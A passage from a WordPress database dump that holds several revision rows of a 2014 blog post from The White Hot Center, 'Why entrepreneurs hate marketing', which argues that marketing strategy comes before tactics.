bring to the marketplace through your products and services?</em></strong>\r\n\r\n<strong><em>Who represents the best customer who will pay a premium price to use the value you bring to them?</em></strong>\r\n\r\n<strong><em>What drives these higher value customers to buy products or services in your category?</em></strong>\r\n\r\n<strong><em>What makes your business distinctive and remarkable from your competitors?</em></strong>\r\n\r\n<strong><em>What proof do you have that your value proposition resonates, differentiates and substantiates with your target customers and clients?</em></strong>\r\n\r\n<em></em>When you have more clarity to answer these fundamental questions, you’ll automatically have more confidence in your specific actions and tactics. And when you feel more confident, you will naturally enjoy the process of marketing your business significantly and your results will be self-fulfilling.\r\n\r\n<em>If you found this post helpful, please subscribe to The White Hot Center. If you would like more clarity in your marketing strategy, <a title="Email Thomson Dawson" href="mailto:thomson@whitehotcenter.com" target="_blank">email me.</a></em>\r\n\r\n&nbsp;\r\n\r\n<em> </em>\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;', 'Why entrepreneurs hate marketing.', 0, '', 'inherit', 'open', 'open', '', '2715-revision-9', '', '', '2014-08-19 11:12:54', '2014-08-19 18:12:54', '', 2715, 'http://www.whitehotcenter.com/2014/08/2715-revision-9/', 0, 'revision', '', 0),
(2727, 2, '2014-08-19 11:18:57', '2014-08-19 18:18:57', '<a href="http://whc.fbdev.org/wp-content/uploads/2014/08/Hate-Marketing.jpg"><img class="alignnone size-full wp-image-2716" title="Why Entrepreneurs Hate Marketing" src="http://whc.fbdev.org/wp-content/uploads/2014/08/Hate-Marketing.jpg" alt="" width="495" height="305" /></a>\r\n<h1><strong></strong>Compared to the creative energy of innovating new products and services, it’s frustrating for early-stage entrepreneurs to invest in an abstract activity that’s difficult to measure effectiveness.</h1>\r\nIn a recent post, I shared the results of a survey I conducted asking entrepreneurs what mattered most to them in growing their business. Granted, the results were not a rigorous quantitative analysis, rather a quick snapshot of what is on the minds of entrepreneurs and solo professionals when thinking about how to grow their business to the next level.\r\n\r\nIn thinking more about the results of the survey, I was fascinated with one particular result–the majority of entrepreneurs stated they don’t like marketing. In fact, over 80% said it was their least favored activity. Do entrepreneurs hate marketing?\r\n\r\nI’m thinking they do!\r\n\r\nCompared to the creative energy of innovating new products and services, I imagine it’s very difficult for early-stage entrepreneurs to spend time and money on an abstract activity that is difficult to measure its effectiveness. Marketing activities, for the most part, can seem like a big waste of time. So much energy goes in and little return comes back.\r\n\r\n<strong>A glut of marketing gurus.</strong>\r\n\r\nWith so much frustration over marketing efforts and effectiveness, it’s easy to see why there is an abundance of online marketing gurus out there hawking their magical training formulas claiming “crushing it” sales results if you’ll willing to cough up a few grand for their program. True enough, PT Barnum is still right– there’s a sucker born every minute. If only it were that easy.\r\n\r\nThe web has evolved into the premiere marketing channel for enterprises large and small. Social media platforms for building an audience of buyers are now ubiquitous.\r\n\r\nOf course the downside of all this is more noise and clutter!\r\n\r\nThe biggest competition to your business is noise and clutter. Customers simply are bombarded with unending marketing messages of all types. Attention spans are growing shorter, audiences are fragmented and making any sort of impression on them is ever more difficult.  Little wonder there is a plethora of marketing and sales advice online for entrepreneurs who seek an easy button for their marketing. Truth is there is no such thing.\r\n\r\nIt reminds of the California Gold Rush, where most of the people who got rich were the ones selling shovel to the miners.\r\n\r\n<strong>There is no easy button.</strong>\r\n\r\nMarketing is work! To be an effective marketer requires sustained effort. Most entrepreneurs think marketing is what you do when business is slow. This is a fatal mistake. Marketing must be an everyday priority if you are to have and maintain a steady stream of prospects eager to do business with you.\r\n\r\nMarketing tactics and channels in our digital world has never been more diverse, cheap and easy to implement. But with cheap and easy comes more  complexity and commoditization–email, direct mail, earned media, paid media, blogging, social media–all form a tactical hairball that simply overwhelms most early-stage entrepreneurs.  Little wonder entrepreneurs hate marketing. It’s hard work that requires a big financial investment with little evidence any of it will pay off.\r\n<h2>Regardless, if you are to grow your business to the next level, marketing (and sales) is important work that needs doing everyday. Your results will proportionate to your level of enjoyment.</h2>\r\n<strong>To push or to pull that is the question.</strong>\r\n\r\nSurprisingly many entrepreneurs still think marketing is about promotion and selling–pushing a steady stream of outbound promotional messages to customers who could care less hoping something will stick.  More surprising, many entrepreneurs find selling to be equally distasteful activity and many are loathe to spend time and energy there. Most still believe marketing and sales is an obnoxious pushy activity.\r\n\r\nModern marketing is no longer about demand generation and sales, it’s about community and shared values.\r\n\r\nTo make even the slightest dent in the mind of a prospective customer, your marketing activities must have a perceived intrinsic value to the customer. In other words, your marketing becomes a valuable product in and of itself. When this happens, you’ll notice a gravitational force pulling prospects to you in droves.\r\n\r\nWhy? Because birds of a feather will always flock together. Your marketing resonates with shared values. Customers identify you (your business) as one of them. Prospects quickly recognize that your very presence in the marketplace is valuable and useful to them–even if they don’t buy.\r\n\r\n<strong>The cart before the horse.</strong>\r\n\r\nOne of the key attributes all entrepreneurs have is a gift for taking decisive action.\r\n\r\nMost entrepreneurs are willing to try just about anything if they believe it will grow their business.  However, when it comes to marketing their business (especially when they need business), many entrepreneurs will resist taking action. Many do not realize that to have the insight to take the right action at the right time requires a strategy.\r\n\r\nThe familiar expression “ready, fire, aim” applies here.\r\n\r\nThe truth is most early stage entrepreneurs do not have a sound strategy in place to guide and inform their marketing tactics. Strategy is a head game. Strategy is about creative thinking not random action. Strategy comes before tactics. This is a critical truth in modern marketing.\r\n\r\n<strong>The core elements of a modern marketing strategy.</strong>\r\n\r\nIf you’re an early stage entrepreneur or solo professional struggling with sustained energy for marketing your business, you might appreciate what exactly forms the raw material of marketing strategy. If you are to ever enjoy the process of marketing your business effectively, you’re going to need solid answers to these questions:\r\n\r\n<strong><em>Why does your business exist beyond moneymaking?</em></strong>\r\n\r\n<strong><em>What greater and uncommon value do you bring to the marketplace through your products and services?</em></strong>\r\n\r\n<strong><em>Who represents the best customer who will pay a premium price to use the value you bring to them?</em></strong>\r\n\r\n<strong><em>What drives these higher value customers to buy products or services in your category?</em></strong>\r\n\r\n<strong><em>What makes your business distinctive and remarkable from your competitors?</em></strong>\r\n\r\n<strong><em>What proof do you have that your value proposition resonates, differentiates and substantiates with your target customers and clients?</em></strong>\r\n\r\n<em></em>When you have more clarity to answer these fundamental questions, you’ll automatically have more confidence in your specific actions and tactics. And when you feel more confident, you will naturally enjoy the process of marketing your business significantly and your results will be self-fulfilling.\r\n\r\n<em>If you found this post helpful, please subscribe to The White Hot Center. If you would like more clarity in your marketing strategy, <a title="Email Thomson Dawson" href="mailto:thomson@whitehotcenter.com" target="_blank">email me.</a></em>', 'Why entrepreneurs hate marketing.', 0, '', 'inherit', 'open', 'open', '', '2715-revision-11', '', '', '2014-08-19 11:18:57', '2014-08-19 18:18:57', '', 2715, 'http://www.whitehotcenter.com/2014/08/2715-revision-11/', 0, 'revision', '', 0),
(2728, 2, '2014-08-19 11:23:24', '2014-08-19 18:23:24', '<a href="http://whc.fbdev.org/wp-content/uploads/2014/08/Hate-Marketing.jpg"><img class="alignnone size-full wp-image-2716" title="Why Entrepreneurs Hate Marketing" src="http://whc.fbdev.org/wp-content/uploads/2014/08/Hate-Marketing.jpg" alt="" width="495" height="305" /></a>\r\n<h1><strong></strong>Compared to the creative energy of innovating new products and services, it’s frustrating for early-stage entrepreneurs to invest in an abstract activity that’s difficult to measure effectiveness.</h1>\r\nIn a recent post, I shared the <a title="What matters most in growing your business." href="http://whc.fbdev.org/2014/07/insight-into-what-matters-most-to-you-in-growing-your-business/" target="_blank">results of a survey </a>I conducted asking entrepreneurs what mattered most to them in growing their business. Granted, the results were not a rigorous quantitative analysis, rather a quick snapshot of what is on the minds of entrepreneurs and solo professionals when thinking about how to grow their business to the next level.\r\n\r\nIn thinking more about the results of the survey, I was fascinated with one particular result–the majority of entrepreneurs stated they don’t like marketing. In fact, over 80% said it was their least favored activity. Do entrepreneurs hate marketing?\r\n\r\nI’m thinking they do!\r\n\r\nCompared to the creative energy of innovating new products and services, I imagine it’s very difficult for early-stage entrepreneurs to spend time and money on an abstract activity that is difficult to measure its effectiveness. Marketing activities, for the most part, can seem like a big waste of time. So much energy goes in and little return comes back.\r\n\r\n<strong>A glut of marketing gurus.</strong>\r\n\r\nWith so much frustration over marketing efforts and effectiveness, it’s easy to see why there is an abundance of online marketing gurus out there hawking their magical training formulas claiming “crushing it” sales results if you’ll willing to cough up a few grand for their program. True enough, PT Barnum is still right– there’s a sucker born every minute. If only it were that easy.\r\n\r\nThe web has evolved into the premiere marketing channel for enterprises large and small. Social media platforms for building an audience of buyers are now ubiquitous.\r\n\r\nOf course the downside of all this is more noise and clutter!\r\n\r\nThe biggest competition to your business is noise and clutter. Customers simply are bombarded with unending marketing messages of all types. Attention spans are growing shorter, audiences are fragmented and making any sort of impression on them is ever more difficult.  Little wonder there is a plethora of marketing and sales advice online for entrepreneurs who seek an easy button for their marketing. Truth is there is no such thing.\r\n\r\nIt reminds of the California Gold Rush, where most of the people who got rich were the ones selling shovel to the miners.\r\n\r\n<strong>There is no easy button.</strong>\r\n\r\nMarketing is work! To be an effective marketer requires sustained effort. Most entrepreneurs think marketing is what you do when business is slow. This is a fatal mistake. Marketing must be an everyday priority if you are to have and maintain a steady stream of prospects eager to do business with you.\r\n\r\nMarketing tactics and channels in our digital world has never been more diverse, cheap and easy to implement. But with cheap and easy comes more  complexity and commoditization–email, direct mail, earned media, paid media, blogging, social media–all form a tactical hairball that simply overwhelms most early-stage entrepreneurs.  Little wonder entrepreneurs hate marketing. It’s hard work that requires a big financial investment with little evidence any of it will pay off.\r\n<h2>Regardless, if you are to grow your business to the next level, marketing (and sales) is important work that needs doing everyday. Your results will proportionate to your level of enjoyment.</h2>\r\n<strong>To push or to pull that is the question.</strong>\r\n\r\nSurprisingly many entrepreneurs still think marketing is about promotion and selling–pushing a steady stream of outbound promotional messages to customers who could care less hoping something will stick.  More surprising, many entrepreneurs find selling to be equally distasteful activity and many are loathe to spend time and energy there. Most still believe marketing and sales is an obnoxious pushy activity.\r\n\r\nModern marketing is no longer about demand generation and sales, it’s about community and shared values.\r\n\r\nTo make even the slightest dent in the mind of a prospective customer, your marketing activities must have a perceived intrinsic value to the customer. In other words, your marketing becomes a valuable product in and of itself. When this happens, you’ll notice a gravitational force pulling prospects to you in droves.\r\n\r\nWhy? Because birds of a feather will always flock together. Your marketing resonates with shared values. Customers identify you (your business) as one of them. Prospects quickly recognize that your very presence in the marketplace is valuable and useful to them–even if they don’t buy.\r\n\r\n<strong>The cart before the horse.</strong>\r\n\r\nOne of the key attributes all entrepreneurs have is a gift for taking decisive action.\r\n\r\nMost entrepreneurs are willing to try just about anything if they believe it will grow their business.  However, when it comes to marketing their business (especially when they need business), many entrepreneurs will resist taking action. Many do not realize that to have the insight to take the right action at the right time requires a strategy.\r\n\r\nThe familiar expression “ready, fire, aim” applies here.\r\n\r\nThe truth is most early stage entrepreneurs do not have a sound strategy in place to guide and inform their marketing tactics. Strategy is a head game. Strategy is about creative thinking not random action. Strategy comes before tactics. This is a critical truth in modern marketing.\r\n\r\n<strong>The core elements of a modern marketing strategy.</strong>\r\n\r\nIf you’re an early stage entrepreneur or solo professional struggling with sustained energy for marketing your business, you might appreciate what exactly forms the raw material of marketing strategy. If you are to ever enjoy the process of marketing your business effectively, you’re going to need solid answers to these questions:\r\n\r\n<strong><em>Why does your business exist beyond moneymaking?</em></strong>\r\n\r\n<strong><em>What greater and uncommon value do you bring to the marketplace through your products and services?</em></strong>\r\n\r\n<strong><em>Who represents the best customer who will pay a premium price to use the value you bring to them?</em></strong>\r\n\r\n<strong><em>What drives these higher value customers to buy products or services in your category?</em></strong>\r\n\r\n<strong><em>What makes your business distinctive and remarkable from your competitors?</em></strong>\r\n\r\n<strong><em>What proof do you have that your value proposition resonates, differentiates and substantiates with your target customers and clients?</em></strong>\r\n\r\n<em></em>When you have more clarity to answer these fundamental questions, you’ll automatically have more confidence in your specific actions and tactics. And when you feel more confident, you will naturally enjoy the process of marketing your business significantly and your results will be self-fulfilling.\r\n\r\n<em>If you found this post helpful, please subscribe to The White Hot Center. If you would like more clarity in your marketing strategy, <a title="Email Thomson Dawson" href="mailto:thomson@whitehotcenter.com" target="_blank">email me.</a></em>', 'Why entrepreneurs hate marketing.', 0, '', 'inherit', 'open', 'open', '', '2715-revision-12', '', '', '2014-08-19 11:23:24', '2014-08-19 18:23:24', '', 2715, 'http://www.whitehotcenter.com/2014/08/2715-revision-12/', 0, 'revision', '', 0),
(2729, 2, '2014-08-19 11:23:29', '2014-08-19 18:23:29', '<a href="http://whc.fbdev.org/wp-content/uploads/2014/08/Hate-Marketing.jpg"><img class="alignnone size-full wp-image-2716" title="Why Entrepreneurs Hate Marketing" src="http://whc.fbdev.org/wp-content/uploads/2014/08/Hate-Marketing.jpg" alt="" width="495" height="305" /></a>\r\n<h1><strong></strong>Compared to the creative energy of innovating new products and services, it’s frustrating for early-stage entrepreneurs to invest in an abstract activity that’s difficult to measure effectiveness.</h1>\r\nIn a recent post, I shared the <a title="What matters most in growing your business." href="http://whc.fbdev.org/2014/07/insight-into-what-matters-most-to-you-in-growing-your-business/" target="_blank">results of a survey </a>I conducted asking entrepreneurs what mattered most to them in growing their business. Granted, the results were not a rigorous quantitative analysis, rather a quick snapshot of what is on the minds of entrepreneurs and solo professionals when thinking about how to grow their business to the next level.\r\n\r\nIn thinking more about the results of the survey, I was fascinated with one particular result–the majority of entrepreneurs stated they don’t like marketing. In fact, over 80% said it was their least favored activity. Do entrepreneurs hate marketing?\r\n\r\nI’m thinking they do!\r\n\r\nCompared to the creative energy of innovating new products and services, I imagine it’s very difficult for early-stage entrepreneurs to spend time and money on an abstract activity that is difficult to measure its effectiveness. Marketing activities, for the most part, can seem like a big waste of time. So much energy goes in and little return comes back.\r\n\r\n<strong>A glut of marketing gurus.</strong>\r\n\r\nWith so much frustration over marketing efforts and effectiveness, it’s easy to see why there is an abundance of online marketing gurus out there hawking their magical training formulas claiming “crushing it” sales results if you’ll willing to cough up a few grand for their program. True enough, PT Barnum is still right– there’s a sucker born every minute. If only it were that easy.\r\n\r\nThe web has evolved into the premiere marketing channel for enterprises large and small. Social media platforms for building an audience of buyers are now ubiquitous.\r\n\r\nOf course the downside of all this is more noise and clutter!\r\n\r\nThe biggest competition to your business is noise and clutter. Customers simply are bombarded with unending marketing messages of all types. Attention spans are growing shorter, audiences are fragmented and making any sort of impression on them is ever more difficult.  Little wonder there is a plethora of marketing and sales advice online for entrepreneurs who seek an easy button for their marketing. Truth is there is no such thing.\r\n\r\nIt reminds of the California Gold Rush, where most of the people who got rich were the ones selling shovel to the miners.\r\n\r\n<strong>There is no easy button.</strong>\r\n\r\nMarketing is work! To be an effective marketer requires sustained effort. Most entrepreneurs think marketing is what you do when business is slow. This is a fatal mistake. Marketing must be an everyday priority if you are to have and maintain a steady stream of prospects eager to do business with you.\r\n\r\nMarketing tactics and channels in our digital world has never been more diverse, cheap and easy to implement. But with cheap and easy comes more  complexity and commoditization–email, direct mail, earned media, paid media, blogging, social media–all form a tactical hairball that simply overwhelms most early-stage entrepreneurs.  Little wonder entrepreneurs hate marketing. It’s hard work that requires a big financial investment with little evidence any of it will pay off.\r\n<h2>Regardless, if you are to grow your business to the next level, marketing (and sales) is important work that needs doing everyday. Your results will proportionate to your level of enjoyment.</h2>\r\n<strong>To push or to pull that is the question.</strong>\r\n\r\nSurprisingly many entrepreneurs still think marketing is about promotion and selling–pushing a steady stream of outbound promotional messages to customers who could care less hoping something will stick.  More surprising, many entrepreneurs find selling to be equally distasteful activity and many are loathe to spend time and energy there. Most still believe marketing and sales is an obnoxious pushy activity.\r\n\r\nModern marketing is no longer about demand generation and sales, it’s about community and shared values.\r\n\r\nTo make even the slightest dent in the mind of a prospective customer, your marketing activities must have a perceived intrinsic value to the customer. In other words, your marketing becomes a valuable product in and of itself. When this happens, you’ll notice a gravitational force pulling prospects to you in droves.\r\n\r\nWhy? Because birds of a feather will always flock together. Your marketing resonates with shared values. Customers identify you (your business) as one of them. Prospects quickly recognize that your very presence in the marketplace is valuable and useful to them–even if they don’t buy.\r\n\r\n<strong>The cart before the horse.</strong>\r\n\r\nOne of the key attributes all entrepreneurs have is a gift for taking decisive action.\r\n\r\nMost entrepreneurs are willing to try just about anything if they believe it will grow their business.  However, when it comes to marketing their business (especially when they need business), many entrepreneurs will resist taking action. Many do not realize that to have the insight to take the right action at the right time requires a strategy.\r\n\r\nThe familiar expression “ready, fire, aim” applies here.\r\n\r\nThe truth is most early stage entrepreneurs do not have a sound strategy in place to guide and inform their marketing tactics. Strategy is a head game. Strategy is about creative thinking not random action. Strategy comes before tactics. This is a critical truth in modern marketing.\r\n\r\n<strong>The core elements of a modern marketing strategy.</strong>\r\n\r\nIf you’re an early stage entrepreneur or solo professional struggling with sustained energy for marketing your business, you might appreciate what exactly forms the raw material of marketing strategy. If you are to ever enjoy the process of marketing your business effectively, you’re going to need solid answers to these questions:\r\n\r\n<strong><em>Why does your business exist beyond moneymaking?</em></strong>\r\n\r\n<strong><em>What greater and uncommon value do you bring to the marketplace through your products and services?</em></strong>\r\n\r\n<strong><em>Who represents the best customer who will pay a premium price to use the value you bring to them?</em></strong>\r\n\r\n<strong><em>What drives these higher value customers to buy products or services in your category?</em></strong>\r\n\r\n<strong><em>What makes your business distinctive and remarkable from your competitors?</em></strong>\r\n\r\n<strong><em>What proof do you have that your value proposition resonates, differentiates and substantiates with your target customers and clients?</em></strong>\r\n\r\n<em></em>When you have more clarity to answer these fundamental questions, you’ll automatically have more confidence in your specific actions and tactics. And when you feel more confident, you will naturally enjoy the process of marketing your business significantly and your results will be self-fulfilling.\r\n\r\n<em>If you found this post helpful, please subscribe to The White Hot Center. If you would like more clarity in your marketing strategy, <a title="Email Thomson Dawson" href="mailto:thomson@whitehotcenter.com" target="_blank">email me.</a></em>', 'Why entrepreneurs hate marketing.', 0, '', 'inherit', 'open', 'open', '', '2715-revision-13', '', '', '2014-08-19 11:23:29', '2014-08-19 18:23:29', '', 2715, 'http://www.whitehotcenter.com/2014/08/2715-revision-13/', 0, 'revision', '', 0),
(2730, 2, '2014-08-19 11:23:34', '2014-08-19 18:23:34', '<a href="http://whc.fbdev.org/wp-content/uploads/2014/08/Hate-Marketing.jpg"><img class="alignnone size-full wp-image-2716" title="Why Entrepreneurs Hate Marketing" src="http://whc.fbdev.org/wp-content/uploads/2014/08/Hate-Marketing.jpg" alt="" width="495" height="305" /></a>\r\n<h1><strong></strong>Compared to the creative energy of innovating new products and services, it’s frustrating for early-stage entrepreneurs to invest in an abstract activity that’s difficult to measure effectiveness.</h1>\r\nIn a recent post, I shared the <a title="What matters most in growing your business." href="http://whc.fbdev.org/2014/07/insight-into-what-matters-most-to-you-in-growing-your-business/" target="_blank">results of a survey </a>I conducted asking entrepreneurs what mattered most to them in growing their business. Granted, the results were not a rigorous quantitative analysis, rather a quick snapshot of what is on the minds of entrepreneurs and solo professionals when thinking about how to grow their business to the next level.\r\n\r\nIn thinking more about the results of the survey, I was fascinated with one particular result–the majority of entrepreneurs stated they don’t like marketing. In fact, over 80% said it was their least favored activity. Do entrepreneurs hate marketing?\r\n\r\nI’m thinking they do!\r\n\r\nCompared to the creative energy of innovating new products and services, I imagine it’s very difficult for early-stage entrepreneurs to spend time and money on an abstract activity that is difficult to measure its effectiveness. Marketing activities, for the most part, can seem like a big waste of time. So much energy goes in and little return comes back.\r\n\r\n<strong>A glut of marketing gurus.</strong>\r\n\r\nWith so much frustration over marketing efforts and effectiveness, it’s easy to see why there is an abundance of online marketing gurus out there hawking their magical training formulas claiming “crushing it” sales results if you’ll willing to cough up a few grand for their program. True enough, PT Barnum is still right– there’s a sucker born every minute. If only it were that easy.\r\n\r\nThe web has evolved into the premiere marketing channel for enterprises large and small. Social media platforms for building an audience of buyers are now ubiquitous.\r\n\r\nOf course the downside of all this is more noise and clutter!\r\n\r\nThe biggest competition to your business is noise and clutter. Customers simply are bombarded with unending marketing messages of all types. Attention spans are growing shorter, audiences are fragmented and making any sort of impression on them is ever more difficult.  Little wonder there is a plethora of marketing and sales advice online for entrepreneurs who seek an easy button for their marketing. Truth is there is no such thing.\r\n\r\nIt reminds of the California Gold Rush, where most of the people who got rich were the ones selling shovel to the miners.\r\n\r\n<strong>There is no easy button.</strong>\r\n\r\nMarketing is work! To be an effective marketer requires sustained effort. Most entrepreneurs think marketing is what you do when business is slow. This is a fatal mistake. Marketing must be an everyday priority if you are to have and maintain a steady stream of prospects eager to do business with you.\r\n\r\nMarketing tactics and channels in our digital world has never been more diverse, cheap and easy to implement. But with cheap and easy comes more  complexity and commoditization–email, direct mail, earned media, paid media, blogging, social media–all form a tactical hairball that simply overwhelms most early-stage entrepreneurs.  Little wonder entrepreneurs hate marketing. It’s hard work that requires a big financial investment with little evidence any of it will pay off.\r\n<h2>Regardless, if you are to grow your business to the next level, marketing (and sales) is important work that needs doing everyday. Your results will proportionate to your level of enjoyment.</h2>\r\n<strong>To push or to pull that is the question.</strong>\r\n\r\nSurprisingly many entrepreneurs still think marketing is about promotion and selling–pushing a steady stream of outbound promotional messages to customers who could care less hoping something will stick.  More surprising, many entrepreneurs find selling to be equally distasteful activity and many are loathe to spend time and energy there. Most still believe marketing and sales is an obnoxious pushy activity.\r\n\r\nModern marketing is no longer about demand generation and sales, it’s about community and shared values.\r\n\r\nTo make even the slightest dent in the mind of a prospective customer, your marketing activities must have a perceived intrinsic value to the customer. In other words, your marketing becomes a valuable product in and of itself. When this happens, you’ll notice a gravitational force pulling prospects to you in droves.\r\n\r\nWhy? Because birds of a feather will always flock together. Your marketing resonates with shared values. Customers identify you (your business) as one of them. Prospects quickly recognize that your very presence in the marketplace is valuable and useful to them–even if they don’t buy.\r\n\r\n<strong>The cart before the horse.</strong>\r\n\r\nOne of the key attributes all entrepreneurs have is a gift for taking decisive action.\r\n\r\nMost entrepreneurs are willing to try just about anything if they believe it will grow their business.  However, when it comes to marketing their business (especially when they need business), many entrepreneurs will resist taking action. Many do not realize that to have the insight to take the right action at the right time requires a strategy.\r\n\r\nThe familiar expression “ready, fire, aim” applies here.\r\n\r\nThe truth is most early stage entrepreneurs do not have a sound strategy in place to guide and inform their marketing tactics. Strategy is a head game. Strategy is about creative thinking not random action. Strategy comes before tactics. This is a critical truth in modern marketing.\r\n\r\n<strong>The core elements of a modern marketing strategy.</strong>\r\n\r\nIf you’re an early stage entrepreneur or solo professional struggling with sustained energy for marketing your business, you might appreciate what exactly forms the raw material of marketing strategy. If you are to ever enjoy the process of marketing your business effectively, you’re going to need solid answers to these questions:\r\n\r\n<strong><em>Why does your business exist beyond moneymaking?</em></strong>\r\n\r\n<strong><em>What greater and uncommon value do you bring to the marketplace through your products and services?</em></strong>\r\n\r\n<strong><em>Who represents the best customer who will pay a premium price to use the value you bring to them?</em></strong>\r\n\r\n<strong><em>What drives these higher value customers to buy products or services in your category?</em></strong>\r\n\r\n<strong><em>What makes your business distinctive and remarkable from your competitors?</em></strong>\r\n\r\n<strong><em>What proof do you have that your value proposition resonates, differentiates and substantiates with your target customers and clients?</em></strong>\r\n\r\n<em></em>When you have more clarity to answer these fundamental questions, you’ll automatically have more confidence in your specific actions and tactics. And when you feel more confident, you will naturally enjoy the process of marketing your business significantly and your results will be self-fulfilling.\r\n\r\n<em>If you found this post helpful, please subscribe to The White Hot Center. If you would like more clarity in your marketing strategy, <a title="Email Thomson Dawson" href="mailto:thomson@whitehotcenter.com" target="_blank">email me.</a></em>', 'Why entrepreneurs hate marketing.', 0, '', 'inherit', 'open', 'open', '', '2715-revision-14', '', '', '2014-08-19 11:23:34', '2014-08-19 18:23:34', '', 2715, 'http://www.whitehotcenter.com/2014/08/2715-revision-14/', 0, 'revision', '', 0);
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(2731, 2, '2014-08-19 11:24:13', '2014-08-19 18:24:13', '<a href="http://whc.fbdev.org/wp-content/uploads/2014/08/Hate-Marketing.jpg"><img class="alignnone size-full wp-image-2716" title="Why Entrepreneurs Hate Marketing" src="http://whc.fbdev.org/wp-content/uploads/2014/08/Hate-Marketing.jpg" alt="" width="495" height="305" /></a>\r\n<h1><strong></strong>Compared to the creative energy of innovating new products and services, it’s frustrating for early-stage entrepreneurs to invest in an abstract activity that’s difficult to measure effectiveness.</h1>\r\nIn a recent post, I shared the <strong><a title="What matters most in growing your business." href="http://whc.fbdev.org/2014/07/insight-into-what-matters-most-to-you-in-growing-your-business/" target="_blank">results of a survey </a></strong>I conducted asking entrepreneurs what mattered most to them in growing their business. Granted, the results were not a rigorous quantitative analysis, rather a quick snapshot of what is on the minds of entrepreneurs and solo professionals when thinking about how to grow their business to the next level.\r\n\r\nIn thinking more about the results of the survey, I was fascinated with one particular result–the majority of entrepreneurs stated they don’t like marketing. In fact, over 80% said it was their least favored activity. Do entrepreneurs hate marketing?\r\n\r\nI’m thinking they do!\r\n\r\nCompared to the creative energy of innovating new products and services, I imagine it’s very difficult for early-stage entrepreneurs to spend time and money on an abstract activity that is difficult to measure its effectiveness. Marketing activities, for the most part, can seem like a big waste of time. So much energy goes in and little return comes back.\r\n\r\n<strong>A glut of marketing gurus.</strong>\r\n\r\nWith so much frustration over marketing efforts and effectiveness, it’s easy to see why there is an abundance of online marketing gurus out there hawking their magical training formulas claiming “crushing it” sales results if you’ll willing to cough up a few grand for their program. True enough, PT Barnum is still right– there’s a sucker born every minute. If only it were that easy.\r\n\r\nThe web has evolved into the premiere marketing channel for enterprises large and small. Social media platforms for building an audience of buyers are now ubiquitous.\r\n\r\nOf course the downside of all this is more noise and clutter!\r\n\r\nThe biggest competition to your business is noise and clutter. Customers simply are bombarded with unending marketing messages of all types. Attention spans are growing shorter, audiences are fragmented and making any sort of impression on them is ever more difficult.  Little wonder there is a plethora of marketing and sales advice online for entrepreneurs who seek an easy button for their marketing. Truth is there is no such thing.\r\n\r\nIt reminds of the California Gold Rush, where most of the people who got rich were the ones selling shovel to the miners.\r\n\r\n<strong>There is no easy button.</strong>\r\n\r\nMarketing is work! To be an effective marketer requires sustained effort. Most entrepreneurs think marketing is what you do when business is slow. This is a fatal mistake. Marketing must be an everyday priority if you are to have and maintain a steady stream of prospects eager to do business with you.\r\n\r\nMarketing tactics and channels in our digital world has never been more diverse, cheap and easy to implement. But with cheap and easy comes more  complexity and commoditization–email, direct mail, earned media, paid media, blogging, social media–all form a tactical hairball that simply overwhelms most early-stage entrepreneurs.  Little wonder entrepreneurs hate marketing. It’s hard work that requires a big financial investment with little evidence any of it will pay off.\r\n<h2>Regardless, if you are to grow your business to the next level, marketing (and sales) is important work that needs doing everyday. Your results will proportionate to your level of enjoyment.</h2>\r\n<strong>To push or to pull that is the question.</strong>\r\n\r\nSurprisingly many entrepreneurs still think marketing is about promotion and selling–pushing a steady stream of outbound promotional messages to customers who could care less hoping something will stick.  More surprising, many entrepreneurs find selling to be equally distasteful activity and many are loathe to spend time and energy there. Most still believe marketing and sales is an obnoxious pushy activity.\r\n\r\nModern marketing is no longer about demand generation and sales, it’s about community and shared values.\r\n\r\nTo make even the slightest dent in the mind of a prospective customer, your marketing activities must have a perceived intrinsic value to the customer. In other words, your marketing becomes a valuable product in and of itself. When this happens, you’ll notice a gravitational force pulling prospects to you in droves.\r\n\r\nWhy? Because birds of a feather will always flock together. Your marketing resonates with shared values. Customers identify you (your business) as one of them. Prospects quickly recognize that your very presence in the marketplace is valuable and useful to them–even if they don’t buy.\r\n\r\n<strong>The cart before the horse.</strong>\r\n\r\nOne of the key attributes all entrepreneurs have is a gift for taking decisive action.\r\n\r\nMost entrepreneurs are willing to try just about anything if they believe it will grow their business.  However, when it comes to marketing their business (especially when they need business), many entrepreneurs will resist taking action. Many do not realize that to have the insight to take the right action at the right time requires a strategy.\r\n\r\nThe familiar expression “ready, fire, aim” applies here.\r\n\r\nThe truth is most early stage entrepreneurs do not have a sound strategy in place to guide and inform their marketing tactics. Strategy is a head game. Strategy is about creative thinking not random action. Strategy comes before tactics. This is a critical truth in modern marketing.\r\n\r\n<strong>The core elements of a modern marketing strategy.</strong>\r\n\r\nIf you’re an early stage entrepreneur or solo professional struggling with sustained energy for marketing your business, you might appreciate what exactly forms the raw material of marketing strategy. If you are to ever enjoy the process of marketing your business effectively, you’re going to need solid answers to these questions:\r\n\r\n<strong><em>Why does your business exist beyond moneymaking?</em></strong>\r\n\r\n<strong><em>What greater and uncommon value do you bring to the marketplace through your products and services?</em></strong>\r\n\r\n<strong><em>Who represents the best customer who will pay a premium price to use the value you bring to them?</em></strong>\r\n\r\n<strong><em>What drives these higher value customers to buy products or services in your category?</em></strong>\r\n\r\n<strong><em>What makes your business distinctive and remarkable from your competitors?</em></strong>\r\n\r\n<strong><em>What proof do you have that your value proposition resonates, differentiates and substantiates with your target customers and clients?</em></strong>\r\n\r\n<em></em>When you have more clarity to answer these fundamental questions, you’ll automatically have more confidence in your specific actions and tactics. And when you feel more confident, you will naturally enjoy the process of marketing your business significantly and your results will be self-fulfilling.\r\n\r\n<em>If you found this post helpful, please subscribe to The White Hot Center. If you would like more clarity in your marketing strategy, <a title="Email Thomson Dawson" href="mailto:thomson@whitehotcenter.com" target="_blank">email me.</a></em>', 'Why entrepreneurs hate marketing.', 0, '', 'inherit', 'open', 'open', '', '2715-revision-15', '', '', '2014-08-19 11:24:13', '2014-08-19 18:24:13', '', 2715, 'http://www.whitehotcenter.com/2014/08/2715-revision-15/', 0, 'revision', '', 0),
